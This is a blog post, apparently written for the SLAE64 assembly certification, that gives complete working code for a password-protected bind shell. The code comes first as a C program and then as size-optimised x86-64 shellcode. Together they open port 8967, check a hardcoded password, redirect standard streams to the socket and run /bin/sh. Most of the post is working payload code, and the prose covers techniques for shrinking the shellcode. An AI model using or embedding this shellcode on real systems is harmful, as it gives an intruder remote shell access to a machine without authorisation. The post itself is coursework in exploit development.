I’ve been taking the SecurityTube Linux Assembly Expert certification, this is the first assignment, the creation, in assembly, of a password protected bind shell.
A bind shell is essentially an open port on a machine that has STDIN, STDOUT and STDERR redirected to an inbound socket. It gets the name from the bind() system call which is a necessary step for listening on a port.
As I’m still not very comfortable with Assembly I got my inspiration from the C program below.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
#include <stdio.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> int main() { int sock1 = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in addr; int sockaddr_len = sizeof(addr); addr.sin_family = AF_INET; addr.sin_port = htons(8967); addr.sin_addr.s_addr = INADDR_ANY; bzero(&addr.sin_zero, 8); bind(sock1, (struct sockaddr *) &addr, sockaddr_len); listen(sock1, 0); int sock2 = accept(sock1, (struct sockaddr *) &addr, &sockaddr_len); close(sock1); dup2(sock2, 0); dup2(sock2, 1); dup2(sock2, 2); execve("/bin/sh", NULL, NULL); return 0; } |
With the above program under my belt, all I had to do was to translate it into Assembly.
For the password protected part of the exercise the first bytes sent by the client through the socket must match the ascii string ‘7698’, this translates into a simple CMP operation between the value read on the socket and 0x39383637.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 |
BITS 64 global _start section .text ;; System call codes (from unistd_64.h) SYS_READ equ 0x00 ;__NR_read 0 SYS_WRITE equ 0x01 ;__NR_write 1 SYS_CLOSE equ 0x03 ;__NR_close 3 SYS_DUP2 equ 0x21 ;__NR_dup2 33 SYS_SOCKET equ 0x29 ;__NR_socket 41 SYS_ACCEPT equ 0x2b ;__NR_accept 43 SYS_BIND equ 0x31 ;__NR_bind 49 SYS_LISTEN equ 0x32 ;__NR_listen 50 SYS_EXECVE equ 0x3b ;__NR_execve 59 SYS_EXIT equ 0x3c ;__NR_exit 60 ;; Socket constants AF_INET equ 0x02 SOCK_STREAM equ 0x01 ;; Shellcode constants PORT equ 0x0723 ; port 8967 -> 0x2307 reversed by htons() PASSWORD equ 0x38393637 ; password is port reversed (7698) in ascii _start: socket: ;; sockfd = socket(AF_INET, SOCK_STREAM, 0); push SYS_SOCKET pop rax push AF_INET pop rdi push SOCK_STREAM pop rsi xor rdx, rdx syscall ;; store stock push rax pop rdi setup_sockaddr: ;; setup sockaddr push rdx ; rdx = 0 push rdx ; push 16 bytes (size of sockaddr_in) mov byte [rsp], AF_INET ; sockadd..sin_family = AF_INET mov word [rsp+0x2], PORT ; sockaddr.sin_port = htons(8967) push rsp ; push &sockaddr onto stack pop rsi ; and load it in %rsi bind: ;; bind(sockfd, const struct sockaddr *addr, 16) push 0x10 ; sockaddr_len = 16 bytes pop rdx push SYS_BIND pop rax syscall listen: ;; listen(sockfd,0) push rsi ; store &sockaddr xor rsi, rsi ; backlog = 0, load from previously saved %rdx push SYS_LISTEN pop rax syscall accept: ;; accept(sockfd, const struct sockaddr *addr, 16) pop rsi ; get back &sockaddr previously stored push rdx push rsp pop rdx push SYS_ACCEPT pop rax syscall ;; get back value 0x10 stored in rdx (socklen_t) pop rdx ;; store sockfd2 push rax ; store sockfd2 to load in %rdi later close: ;; close(sockfd) push SYS_CLOSE pop rax syscall read: ;; read(sockfd2, void *buf, 8) pop rdi ; load back sockfd2 xor rax, rax ; rdx = 0x10, 16 bytes to read push rsp ; rsp still points to sockaddr 16 bytes pop rsi ; so use it as *buf syscall cmp dword [rsi], PASSWORD jne quit dup2: ;; dup2(sockfd2, STDIN) ;; dup2(sockfd2, STDOUT) ;; dup2(sockfd2, STDERR) push 0x03 pop rsi dup2_loop: dec rsi push SYS_DUP2 pop rax syscall jne dup2_loop execve: ;; execve('//bin/sh', NULL, NULL); push rsi ; *argv[] = 0 (NULL) pop rdx ; *envp[] = 0 (NULL) push rsi ; '\0' for string termination mov rdi, '//bin/sh' push rdi mov rdi, rsp push SYS_EXECVE pop rax syscall quit: |
You might notice right away that there are a couple of weird approaches to the code, particularly the short number of ‘mov’ operations.
Instead of mov’ing one can simply apply a push/pop sequence that will deliver the same result but, apparently due to an opcode auto promotion from 32-bit to 64-bit, will result in a much smaller footprint.
I’ve taken this approach as means to reduce the shellcode size, inspired by the awesome posts by zerosum0x0.
All code is available from my Github repo.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification.
Student ID: SLAE64-1440